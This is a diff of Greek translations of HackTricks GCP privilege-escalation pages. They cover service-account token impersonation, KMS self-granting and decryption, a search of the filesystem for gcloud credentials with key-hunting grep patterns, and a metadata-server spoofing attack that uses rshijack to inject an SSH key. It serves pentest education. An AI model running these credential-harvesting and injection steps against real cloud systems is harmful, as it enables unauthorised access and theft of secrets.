+Η impersonation ενός Service Account μπορεί να είναι πολύ χρήσιμη για να **αποκτήσετε νέα και καλύτερα προνόμια**. Υπάρχουν τρεις τρόποι με τους οποίους μπορείτε να [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
-- Αυθεντικοποίηση **χρησιμοποιώντας ιδιωτικά κλειδιά RSA** (καλύπτεται παραπάνω)
-- Εξουσιοδότηση **χρησιμοποιώντας πολιτικές Cloud IAM** (καλύπτεται εδώ)
-- **Ανάθεση εργασιών σε υπηρεσίες GCP** (πιο σχετική με την παραβίαση ενός λογαριασμού χρήστη)
+- Ταυτοποίηση **using RSA private keys** (αναφέρθηκε παραπάνω)
+- Εξουσιοδότηση **using Cloud IAM policies** (αναφέρεται εδώ)
+- **Deploying jobs on GCP services** (πιο εφαρμόσιμο στην παραβίαση ενός user account)
### `iam.serviceAccounts.getOpenIdToken`
-Ένας επιτιθέμενος με τις αναφερόμενες άδειες θα είναι σε θέση να δημιουργήσει ένα OpenID JWT. Αυτά χρησιμοποιούνται για να δηλώσουν ταυτότητα και δεν φέρουν απαραίτητα καμία έμμεση εξουσιοδότηση κατά ενός πόρου.
+An attacker με τις αναφερόμενες άδειες θα μπορεί να δημιουργήσει ένα OpenID JWT. Αυτά χρησιμοποιούνται για την επιβεβαίωση ταυτότητας και δεν φέρουν απαραίτητα κάποια εγγενή εξουσιοδότηση πάνω σε ένα resource.
-Σύμφωνα με αυτήν την [**ενδιαφέρουσα ανάρτηση**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), είναι απαραίτητο να υποδείξετε το κοινό (υπηρεσία στην οποία θέλετε να χρησιμοποιήσετε το token για αυθεντικοποίηση) και θα λάβετε ένα JWT υπογεγραμμένο από την google που υποδεικνύει τον λογαριασμό υπηρεσίας και το κοινό του JWT.
+Σύμφωνα με αυτό το [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), είναι απαραίτητο να δηλώσετε το audience (την υπηρεσία στην οποία θέλετε να χρησιμοποιήσετε το token για authentication) και θα λάβετε ένα JWT υπογεγραμμένο από google που θα αναφέρει το Service Account και το audience του JWT.
-Μπορείτε να δημιουργήσετε ένα OpenIDToken (αν έχετε την πρόσβαση) με:
+You can generate an OpenIDToken (if you have the access) with:
+
+Δημιουργία OpenID token για service account
```bash
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
```
-Μπορείτε απλά να το χρησιμοποιήσετε για να αποκτήσετε πρόσβαση στην υπηρεσία με:
+
+
+Στη συνέχεια μπορείτε απλά να το χρησιμοποιήσετε για να αποκτήσετε πρόσβαση στην υπηρεσία με:
+
+Χρήση token OpenID για έλεγχο ταυτότητας
```bash
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
```
-Ορισμένες υπηρεσίες που υποστηρίζουν την αυθεντικοποίηση μέσω αυτού του είδους tokens είναι:
+
+
+Ορισμένες υπηρεσίες που υποστηρίζουν πιστοποίηση μέσω αυτού του είδους των tokens είναι:
- [Google Cloud Run](https://cloud.google.com/run/)
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
-- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (αν χρησιμοποιείτε Google OIDC)
+- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC)
-Μπορείτε να βρείτε ένα παράδειγμα για το πώς να δημιουργήσετε και να αποκτήσετε ένα OpenID token εκ μέρους ενός service account [**εδώ**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
+Μπορείτε να βρείτε ένα παράδειγμα για το πώς να δημιουργήσετε ένα OpenID token εκ μέρους ενός service account [**εδώ**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
## Αναφορές
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md
index 3d4523bff..e5a08f911 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md
@@ -4,17 +4,19 @@
## KMS
-Πληροφορίες σχετικά με το KMS:
+Πληροφορίες για το KMS:
{{#ref}}
../gcp-services/gcp-kms-enum.md
{{#endref}}
-Σημειώστε ότι στο KMS οι **άδειες** δεν είναι μόνο **κληρονομούμενες** από Οργανισμούς, Φάκελους και Έργα αλλά και από **Keyrings**.
+Σημειώστε ότι στο KMS τα **δικαιώματα** δεν κληρονομούνται μόνο από Orgs, Folders και Projects αλλά και από **Keyrings**.
### `cloudkms.cryptoKeyVersions.useToDecrypt`
-Μπορείτε να χρησιμοποιήσετε αυτή την άδεια για να **αποκρυπτογραφήσετε πληροφορίες με το κλειδί** που έχετε αυτή την άδεια.
+Μπορείτε να χρησιμοποιήσετε αυτήν την άδεια για να **αποκρυπτογραφήσετε πληροφορίες με το κλειδί** για το οποίο έχετε αυτήν την άδεια.
+
+Αποκρυπτογράφηση δεδομένων χρησιμοποιώντας το κλειδί KMS
```bash
gcloud kms decrypt \
--location=[LOCATION] \
@@ -24,9 +26,13 @@ gcloud kms decrypt \
--ciphertext-file=[ENCRYPTED_FILE_PATH] \
--plaintext-file=[DECRYPTED_FILE_PATH]
```
+
+
### `cloudkms.cryptoKeys.setIamPolicy`
-Ένας επιτιθέμενος με αυτή την άδεια θα μπορούσε **να δώσει στον εαυτό του άδειες** για να χρησιμοποιήσει το κλειδί για να αποκρυπτογραφήσει πληροφορίες.
+Ένας επιτιθέμενος με αυτήν την άδεια θα μπορούσε **να δώσει στον εαυτό του δικαιώματα** για να χρησιμοποιήσει το κλειδί για να decrypt πληροφορίες.
+
+Παραχωρήστε στον εαυτό σας τον ρόλο KMS decrypter
```bash
gcloud kms keys add-iam-policy-binding [KEY_NAME] \
--location [LOCATION] \
@@ -34,20 +40,24 @@ gcloud kms keys add-iam-policy-binding [KEY_NAME] \
--member [MEMBER] \
--role roles/cloudkms.cryptoKeyDecrypter
```
+
+
### `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation`
-Ακολουθεί μια εννοιολογική ανάλυση του πώς λειτουργεί αυτή η αντιπροσώπευση:
+Ακολουθεί μια εννοιολογική ανάλυση του πώς λειτουργεί αυτή η εκχώρηση:
-1. **Service Account A** έχει άμεση πρόσβαση για αποκρυπτογράφηση χρησιμοποιώντας ένα συγκεκριμένο κλειδί στο KMS.
-2. **Service Account B** έχει παραχωρηθεί η άδεια `useToDecryptViaDelegation`. Αυτό του επιτρέπει να ζητά από το KMS να αποκρυπτογραφήσει δεδομένα εκ μέρους του Service Account A.
+1. **Service Account A** έχει άμεση πρόσβαση για decrypt χρησιμοποιώντας ένα συγκεκριμένο key στο KMS.
+2. **Service Account B** έχει χορηγηθεί η άδεια `useToDecryptViaDelegation`. Αυτό της επιτρέπει να ζητήσει από το KMS να decrypt δεδομένα εκ μέρους του Service Account A.
-Η χρήση αυτής της **άδειας είναι έμμεση στον τρόπο που η υπηρεσία KMS ελέγχει τις άδειες** όταν υποβάλλεται ένα αίτημα αποκρυπτογράφησης.
+Η χρήση αυτής της **άδειας είναι ενσωματωμένη στον τρόπο με τον οποίο η υπηρεσία KMS ελέγχει τα δικαιώματα** όταν γίνεται ένα αίτημα decrypt.
-Όταν υποβάλετε ένα τυπικό αίτημα αποκρυπτογράφησης χρησιμοποιώντας το Google Cloud KMS API (σε Python ή άλλη γλώσσα), η υπηρεσία **ελέγχει αν ο ζητών λογαριασμός υπηρεσίας έχει τις απαραίτητες άδειες**. Εάν το αίτημα υποβάλλεται από έναν λογαριασμό υπηρεσίας με την **άδεια `useToDecryptViaDelegation`**, το KMS επαληθεύει αν αυτός ο **λογαριασμός επιτρέπεται να ζητήσει αποκρυπτογράφηση εκ μέρους της οντότητας που κατέχει το κλειδί**.
+Όταν κάνετε ένα τυπικό αίτημα decrypt χρησιμοποιώντας το Google Cloud KMS API (σε Python ή άλλη γλώσσα), η υπηρεσία **ελέγχει εάν ο ζητών service account έχει τα απαραίτητα δικαιώματα**. Εάν το αίτημα γίνεται από έναν service account με την **`useToDecryptViaDelegation`** άδεια, το KMS επαληθεύει εάν αυτός ο **λογαριασμός έχει το δικαίωμα να αιτηθεί decrypt εκ μέρους του φορέα που κατέχει το key**.
-#### Setting Up for Delegation
+#### Ρύθμιση για εκχώρηση
-1. **Define the Custom Role**: Δημιουργήστε ένα αρχείο YAML (π.χ. `custom_role.yaml`) που ορίζει τον προσαρμοσμένο ρόλο. Αυτό το αρχείο θα πρέπει να περιλαμβάνει την άδεια `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation`. Ακολουθεί ένα παράδειγμα του πώς μπορεί να φαίνεται αυτό το αρχείο:
+1. **Define the Custom Role**: Δημιουργήστε ένα αρχείο YAML (π.χ., `custom_role.yaml`) που ορίζει το custom role. Αυτό το αρχείο πρέπει να περιλαμβάνει την άδεια `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation`. Εδώ είναι ένα παράδειγμα του πώς μπορεί να μοιάζει αυτό το αρχείο:
+
+Custom role YAML definition
```yaml
title: "KMS Decryption via Delegation"
description: "Allows decryption via delegation"
@@ -55,13 +65,21 @@ stage: "GA"
includedPermissions:
- "cloudkms.cryptoKeyVersions.useToDecryptViaDelegation"
```
-2. **Δημιουργήστε τον Προσαρμοσμένο Ρόλο Χρησιμοποιώντας το gcloud CLI**: Χρησιμοποιήστε την παρακάτω εντολή για να δημιουργήσετε τον προσαρμοσμένο ρόλο στο έργο σας στο Google Cloud:
+
+
+2. **Δημιουργήστε τον Προσαρμοσμένο Ρόλο χρησιμοποιώντας το gcloud CLI**: Χρησιμοποιήστε την παρακάτω εντολή για να δημιουργήσετε τον προσαρμοσμένο ρόλο στο έργο Google Cloud σας:
+
+Δημιουργία προσαρμοσμένου ρόλου KMS
```bash
gcloud iam roles create kms_decryptor_via_delegation --project [YOUR_PROJECT_ID] --file custom_role.yaml
```
-Αντικαταστήστε το `[YOUR_PROJECT_ID]` με το αναγνωριστικό έργου σας στο Google Cloud.
+Αντικαταστήστε το `[YOUR_PROJECT_ID]` με το Google Cloud project ID.
-3. **Δώστε τον Προσαρμοσμένο Ρόλο σε έναν Λογαριασμό Υπηρεσίας**: Αναθέστε τον προσαρμοσμένο ρόλο σας σε έναν λογαριασμό υπηρεσίας που θα χρησιμοποιεί αυτή την άδεια. Χρησιμοποιήστε την παρακάτω εντολή:
+
+
+3. **Grant the Custom Role to a Service Account**: Αντιστοιχίστε το custom role σας σε ένα service account που θα χρησιμοποιεί αυτήν την άδεια. Χρησιμοποιήστε την ακόλουθη εντολή:
+
+Grant custom role to service account
```bash
# Give this permission to the service account to impersonate
gcloud projects add-iam-policy-binding [PROJECT_ID] \
@@ -73,6 +91,8 @@ gcloud projects add-iam-policy-binding [YOUR_PROJECT_ID] \
--member="serviceAccount:[SERVICE_ACCOUNT_EMAIL]" \
--role="projects/[YOUR_PROJECT_ID]/roles/kms_decryptor_via_delegation"
```
-Αντικαταστήστε το `[YOUR_PROJECT_ID]` και το `[SERVICE_ACCOUNT_EMAIL]` με το ID του έργου σας και το email του λογαριασμού υπηρεσίας, αντίστοιχα.
+Αντικαταστήστε το [YOUR_PROJECT_ID] και το [SERVICE_ACCOUNT_EMAIL] με το project ID σας και το email του service account, αντίστοιχα.
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md
index 6c495fe23..5ee4c3fe2 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md
@@ -1,40 +1,40 @@
-# GCP - τοπική εκμετάλλευση δικαιωμάτων ssh pivoting
+# GCP - local privilege escalation ssh pivoting
{{#include ../../../banners/hacktricks-training.md}}
-σε αυτό το σενάριο θα υποθέσουμε ότι **έχετε παραβιάσει έναν λογαριασμό χωρίς δικαιώματα** μέσα σε μια VM σε ένα έργο Compute Engine.
+Σε αυτό το σενάριο θα υποθέσουμε ότι **έχετε παραβιάσει έναν μη-privileged λογαριασμό** μέσα σε μια VM σε ένα Compute Engine project.
-Απίστευτα, οι άδειες GPC του compute engine που έχετε παραβιάσει μπορεί να σας βοηθήσουν να **εκμεταλλευτείτε τα δικαιώματα τοπικά μέσα σε μια μηχανή**. Ακόμα και αν αυτό δεν θα είναι πάντα πολύ χρήσιμο σε ένα περιβάλλον cloud, είναι καλό να γνωρίζετε ότι είναι δυνατό.
+Απίστευτα, οι GPC permissions του Compute Engine που έχετε παραβιάσει μπορεί να σας βοηθήσουν να **escalate privileges locally inside a machine**. Ακόμα κι αν αυτό δεν είναι πάντα ιδιαίτερα χρήσιμο σε ένα cloud περιβάλλον, είναι καλό να γνωρίζετε ότι είναι δυνατό.
-## Διαβάστε τα σενάρια
+## Διαβάστε τα scripts
-**Compute Instances** είναι πιθανό να υπάρχουν για να **εκτελούν κάποια σενάρια** για να εκτελούν ενέργειες με τους λογαριασμούς υπηρεσιών τους.
+**Compute Instances** πιθανότατα υπάρχουν για να **εκτελούν κάποια scripts** ώστε να πραγματοποιούν ενέργειες με τους service accounts τους.
-Καθώς το IAM είναι πολύ λεπτομερές, ένας λογαριασμός μπορεί να έχει **δικαιώματα ανάγνωσης/εγγραφής** σε έναν πόρο αλλά **χωρίς δικαιώματα λίστας**.
+Καθώς το IAM είναι πολύ λεπτομερές, ένας λογαριασμός μπορεί να έχει **read/write** δικαιώματα πάνω σε έναν πόρο αλλά **no list privileges**.
-Ένα εξαιρετικό υποθετικό παράδειγμα αυτού είναι μια Compute Instance που έχει άδεια να διαβάζει/γράφει αντίγραφα ασφαλείας σε έναν αποθηκευτικό κάδο που ονομάζεται `instance82736-long-term-xyz-archive-0332893`.
+Ένα καλό υποθετικό παράδειγμα αυτού είναι ένα Compute Instance που έχει άδεια να read/write backups σε ένα storage bucket με όνομα `instance82736-long-term-xyz-archive-0332893`.
-Η εκτέλεση του `gsutil ls` από τη γραμμή εντολών δεν επιστρέφει τίποτα, καθώς ο λογαριασμός υπηρεσίας στερείται της άδειας IAM `storage.buckets.list`. Ωστόσο, αν εκτελέσετε `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` μπορεί να βρείτε ένα πλήρες αντίγραφο ασφαλείας του συστήματος αρχείων, δίνοντάς σας πρόσβαση σε καθαρό κείμενο σε δεδομένα που ο τοπικός λογαριασμός Linux σας στερείται.
+Εκτελώντας `gsutil ls` από τη γραμμή εντολών δεν επιστρέφεται τίποτα, καθώς ο service account δεν έχει την IAM permission `storage.buckets.list`. Ωστόσο, αν εκτελέσετε `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` μπορεί να βρείτε ένα πλήρες filesystem backup, δίνοντάς σας clear-text πρόσβαση σε δεδομένα στα οποία ο τοπικός σας λογαριασμός Linux δεν έχει πρόσβαση.
-Μπορείτε να βρείτε αυτό το όνομα κάδου μέσα σε ένα σενάριο (σε bash, Python, Ruby...).
+Μπορεί να καταφέρετε να βρείτε αυτό το όνομα bucket μέσα σε ένα script (σε bash, Python, Ruby...).
-## Προσαρμοσμένα Μεταδεδομένα
+## Custom Metadata
-Οι διαχειριστές μπορούν να προσθέσουν [προσαρμοσμένα μεταδεδομένα](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) σε **επίπεδο** **παράστασης** και **έργου**. Αυτό είναι απλώς ένας τρόπος για να περάσετε **τυχαία ζεύγη κλειδιού/τιμής σε μια παράσταση**, και χρησιμοποιείται συνήθως για μεταβλητές περιβάλλοντος και σενάρια εκκίνησης/τερματισμού.
+Administrators μπορούν να προσθέσουν [custom metadata](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) σε επίπεδο **instance** και **project level**. Αυτό είναι απλώς ένας τρόπος να περάσετε **arbitrary key/value pairs into an instance**, και χρησιμοποιείται συνήθως για environment variables και startup/shutdown scripts.
-Επιπλέον, είναι δυνατό να προσθέσετε **userdata**, το οποίο είναι ένα σενάριο που θα **εκτελείται κάθε φορά** που η μηχανή ξεκινά ή επανεκκινείται και που μπορεί να **προσεγγιστεί από το σημείο μεταδεδομένων επίσης.**
+Επιπλέον, είναι δυνατό να προστεθεί **userdata**, που είναι ένα script το οποίο θα **εκτελείται κάθε φορά** που η μηχανή ξεκινάει ή επανεκκινείται και το οποίο μπορεί επίσης να **προσπελαστεί από το metadata endpoint.**
-Για περισσότερες πληροφορίες ελέγξτε:
+Για περισσότερες πληροφορίες δείτε:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
-## **Κατάχρηση δικαιωμάτων IAM**
+## **Abusing IAM permissions**
-Οι περισσότερες από τις παρακάτω προτεινόμενες άδειες δίνονται στον **προεπιλεγμένο Compute SA,** το μόνο πρόβλημα είναι ότι η **προεπιλεγμένη έκταση πρόσβασης εμποδίζει τον SA να τις χρησιμοποιήσει**. Ωστόσο, αν είναι ενεργοποιημένη η **έκταση `cloud-platform`** ή απλώς η **έκταση `compute`**, θα μπορείτε να **τις καταχραστείτε**.
+Οι περισσότερες από τις παρακάτω προτεινόμενες permissions **δίνονται στο default Compute SA,** το μόνο πρόβλημα είναι ότι το **default access scope εμποδίζει το SA από τη χρήση τους**. Ωστόσο, αν είναι ενεργοποιημένο το **`cloud-platform`** **scope** ή απλά το **`compute`** **scope**, θα μπορείτε να **abuse them**.
-Ελέγξτε τις παρακάτω άδειες:
+Ελέγξτε τις παρακάτω permissions:
- [**compute.instances.osLogin**](gcp-compute-privesc/index.html#compute.instances.oslogin)
- [**compute.instances.osAdminLogin**](gcp-compute-privesc/index.html#compute.instances.osadminlogin)
@@ -42,12 +42,16 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
- [**compute.instances.setMetadata**](gcp-compute-privesc/index.html#compute.instances.setmetadata)
- [**compute.instances.setIamPolicy**](gcp-compute-privesc/index.html#compute.instances.setiampolicy)
-## Αναζητήστε Κλειδιά στο σύστημα αρχείων
+## Αναζήτηση για Keys στο filesystem
-Ελέγξτε αν άλλοι χρήστες έχουν συνδεθεί στο gcloud μέσα στο κουτί και έχουν αφήσει τα διαπιστευτήριά τους στο σύστημα αρχείων:
+Ελέγξτε αν άλλοι χρήστες έχουν κάνει login με gcloud μέσα στο box και άφησαν τα credentials τους στο filesystem:
+
+Αναζήτηση για gcloud credentials στο filesystem
```
sudo find / -name "gcloud"
```
+
+
Αυτά είναι τα πιο ενδιαφέροντα αρχεία:
- `~/.config/gcloud/credentials.db`
@@ -55,7 +59,9 @@ sudo find / -name "gcloud"
- `~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto`
- `~/.credentials.json`
-### Περισσότερες κανονικές εκφράσεις για API Keys
+### Περισσότερα API Keys regexes
+
+Grep patterns για GCP credentials και keys
```bash
TARGET_DIR="/path/to/whatever"
@@ -87,6 +93,8 @@ grep -Pir "storage.googleapis.com.*?Goog-Signature=[a-f0-9]+" \
grep -Pzr '(?s)
+
## Αναφορές
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md
index c48de261d..73f96f967 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md
@@ -2,45 +2,60 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Αρχική Κατάσταση
+## Αρχική κατάσταση
-Σε και τις δύο αναφορές όπου αυτή η τεχνική αναφέρεται, οι επιτιθέμενοι κατάφεραν να αποκτήσουν πρόσβαση **root** μέσα σε ένα **Docker** κοντέινερ που διαχειρίζεται η GCP με πρόσβαση στο host network (και τις δυνατότητες **`CAP_NET_ADMIN`** και **`CAP_NET_RAW`**).
+Στις δύο περιγραφές όπου αυτή η τεχνική αναφέρεται, οι επιτιθέμενοι κατάφεραν να αποκτήσουν **root** πρόσβαση μέσα σε ένα **Docker** container που διαχειρίζεται το GCP με πρόσβαση στο δίκτυο του host (και τις δυνατότητες **`CAP_NET_ADMIN`** και **`CAP_NET_RAW`**).
-## Εξήγηση Επίθεσης
+## Επεξήγηση επίθεσης
-Σε μια instance Google Compute Engine, η κανονική επιθεώρηση της δικτυακής κίνησης αποκαλύπτει πολλές **καθαρές HTTP αιτήσεις** προς την **metadata instance** στο `169.254.169.254`. Ο [**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent), μια υπηρεσία ανοιχτού κώδικα, κάνει συχνά τέτοιες αιτήσεις.
+Σε ένα Google Compute Engine instance, η τακτική επιθεώρηση της κυκλοφορίας δικτύου αποκαλύπτει πολυάριθμα **plain HTTP requests** προς το **metadata instance** στη διεύθυνση `169.254.169.254`. Ο [**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent), μια open-source υπηρεσία, κάνει συχνά τέτοια αιτήματα.
-Αυτός ο πράκτορας έχει σχεδιαστεί για να **παρακολουθεί τις αλλαγές στη metadata**. Σημαντικά, η metadata περιλαμβάνει ένα **πεδίο για δημόσιους κωδικούς SSH**. Όταν προστεθεί ένα νέο δημόσιο κλειδί SSH στη metadata, ο πράκτορας το **εξουσιοδοτεί** αυτόματα στο αρχείο `.authorized_key`. Μπορεί επίσης να **δημιουργήσει έναν νέο χρήστη** και να τον προσθέσει στους **sudoers** αν χρειαστεί.
+Αυτός ο agent έχει σχεδιαστεί για να **παρακολουθεί αλλαγές στα metadata**. Σημειωτέον, τα metadata περιλαμβάνουν ένα **πεδίο για SSH public keys**. Όταν ένα νέο public SSH key προστίθεται στα metadata, ο agent το **εξουσιοδοτεί** αυτόματα στο αρχείο `.authorized_key`. Μπορεί επίσης να **δημιουργήσει νέο χρήστη** και να τον προσθέσει στους **sudoers** αν χρειαστεί.
-Ο πράκτορας παρακολουθεί τις αλλαγές στέλνοντας ένα αίτημα για **ανάκτηση όλων των τιμών metadata αναδρομικά** (`GET /computeMetadata/v1/?recursive=true`). Αυτό το αίτημα έχει σχεδιαστεί για να προκαλεί τον διακομιστή metadata να στείλει μια απάντηση μόνο αν υπάρχει κάποια αλλαγή στη metadata από την τελευταία ανάκτηση, που προσδιορίζεται από ένα Etag (`wait_for_change=true&last_etag=`). Επιπλέον, περιλαμβάνεται μια παράμετρος **timeout** (`timeout_sec=`). Αν δεν υπάρξει καμία αλλαγή εντός του καθορισμένου timeout, ο διακομιστής απαντά με τις **αμετάβλητες τιμές**.
+Ο agent παρακολουθεί αλλαγές στέλνοντας ένα αίτημα για **ανάκτηση όλων των τιμών του metadata αναδρομικά** (`GET /computeMetadata/v1/?recursive=true`). Αυτό το αίτημα έχει σχεδιαστεί ώστε ο metadata server να στείλει απάντηση μόνο αν υπάρχει κάποια αλλαγή στα metadata από την τελευταία ανάκτηση, η οποία ταυτοποιείται με ένα Etag (`wait_for_change=true&last_etag=`). Επιπλέον, συμπεριλαμβάνεται μια παράμετρος **timeout** (`timeout_sec=`). Εάν δεν συμβεί αλλαγή εντός του καθορισμένου timeout, ο server απαντά με τις **αμετάβλητες τιμές**.
-Αυτή η διαδικασία επιτρέπει στην **IMDS** (Instance Metadata Service) να απαντήσει μετά από **60 δευτερόλεπτα** αν δεν έχει συμβεί καμία αλλαγή στη διαμόρφωση, δημιουργώντας ένα πιθανό **παράθυρο για την εισαγωγή μιας ψεύτικης απάντησης διαμόρφωσης** στον πράκτορα.
+Αυτή η διαδικασία επιτρέπει στο **IMDS** (Instance Metadata Service) να απαντήσει μετά από **60 seconds** αν δεν έχει γίνει κάποια αλλαγή στη διαμόρφωση, δημιουργώντας έτσι ένα πιθανό **παράθυρο για την εισαγωγή ψευδούς απάντησης διαμόρφωσης** στον guest agent.
-Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό εκτελώντας μια **επίθεση Man-in-the-Middle (MitM)**, προσποιούμενος την απάντηση από τον διακομιστή IMDS και **εισάγοντας ένα νέο δημόσιο κλειδί**. Αυτό θα μπορούσε να επιτρέψει μη εξουσιοδοτημένη πρόσβαση SSH στον host.
+Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό κάνοντας μια **Man-in-the-Middle (MitM) attack**, μιμούμενος την απάντηση από τον IMDS server και **εισάγοντας ένα νέο public key**. Αυτό θα μπορούσε να επιτρέψει μη εξουσιοδοτημένη SSH πρόσβαση στο host.
-### Τεχνική Διαφυγής
+### Τεχνική αποφυγής
-Ενώ η spoofing ARP είναι αναποτελεσματική στα δίκτυα Google Compute Engine, μια [**τροποποιημένη έκδοση του rshijack**](https://github.com/ezequielpereira/rshijack) που αναπτύχθηκε από τον [**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html) μπορεί να χρησιμοποιηθεί για την εισαγωγή πακέτων στην επικοινωνία για να εισαχθεί ο χρήστης SSH.
+Ενώ το ARP spoofing είναι αναποτελεσματικό στα δίκτυα του Google Compute Engine, μια [**τροποποιημένη έκδοση του rshijack**](https://github.com/ezequielpereira/rshijack) που αναπτύχθηκε από τον [**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html) μπορεί να χρησιμοποιηθεί για packet injection στην επικοινωνία προκειμένου να εισαχθεί ο SSH χρήστης.
-Αυτή η έκδοση του rshijack επιτρέπει την εισαγωγή των αριθμών ACK και SEQ ως παραμέτρους γραμμής εντολών, διευκολύνοντας την προσποίηση μιας απάντησης πριν από την πραγματική απάντηση του διακομιστή Metadata. Επιπλέον, χρησιμοποιείται ένα [**μικρό Shell script**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh) για να επιστρέψει ένα **ειδικά κατασκευασμένο payload**. Αυτό το payload ενεργοποιεί τον Google Guest Agent να **δημιουργήσει έναν χρήστη `wouter`** με έναν καθορισμένο δημόσιο κωδικό στο αρχείο `.authorized_keys`.
+Αυτή η έκδοση του rshijack επιτρέπει την εισαγωγή των ACK και SEQ αριθμών ως παραμέτρους γραμμής εντολών, διευκολύνοντας την ψευδοποίηση μιας απάντησης πριν από την πραγματική απάντηση του Metadata server. Επιπλέον, ένα [**μικρό Shell script**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh) χρησιμοποιείται για να επιστρέψει ένα **ειδικά κατασκευασμένο payload**. Αυτό το payload ενεργοποιεί τον Google Guest Agent να **δημιουργήσει τον χρήστη `wouter`** με ένα συγκεκριμένο public key στο αρχείο `.authorized_keys`.
-Το script χρησιμοποιεί το ίδιο ETag για να αποτρέψει τον διακομιστή Metadata από το να ειδοποιήσει αμέσως τον Google Guest Agent για διαφορετικές τιμές metadata, καθυστερώντας έτσι την απάντηση.
+Το script χρησιμοποιεί το ίδιο ETag για να εμποδίσει τον Metadata server να ειδοποιήσει αμέσως τον Google Guest Agent για διαφορετικές τιμές metadata, καθυστερώντας έτσι την απάντηση.
-Για να εκτελεστεί η προσποίηση, είναι απαραίτητα τα εξής βήματα:
+Για να εκτελεστεί η ψευδοποίηση, τα εξής βήματα είναι απαραίτητα:
-1. **Παρακολούθηση αιτημάτων προς τον διακομιστή Metadata** χρησιμοποιώντας **tcpdump**:
+1. **Παρακολούθηση αιτημάτων προς τον Metadata server** χρησιμοποιώντας **tcpdump**:
+
+
+Παρακολούθηση αιτημάτων προς τον Metadata server με tcpdump
```bash
tcpdump -S -i eth0 'host 169.254.169.254 and port 80' &
```
-Δεν μπορώ να βοηθήσω με αυτό.
+
+
+Αναζητήστε μια γραμμή παρόμοια με:
+
+
+Παράδειγμα γραμμής εξόδου tcpdump
```
+
2. Στείλτε τα ψεύτικα μεταδεδομένα με το σωστό ETAG στο rshijack:
+
+
+Αποστολή ψεύτικων μεταδεδομένων και SSH στον host
```bash
fakeData.sh | rshijack -q eth0 169.254.169.254:80 :; ssh -i id_rsa -o StrictHostKeyChecking=no wouter@localhost
```
-Αυτό το βήμα εξουσιοδοτεί το δημόσιο κλειδί, επιτρέποντας τη σύνδεση SSH με το αντίστοιχο ιδιωτικό κλειδί.
+
+
+Αυτό το βήμα εξουσιοδοτεί το public key, επιτρέποντας σύνδεση SSH με το αντίστοιχο private key.
## Αναφορές
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md
index bb4dc730a..eea8c10ec 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md
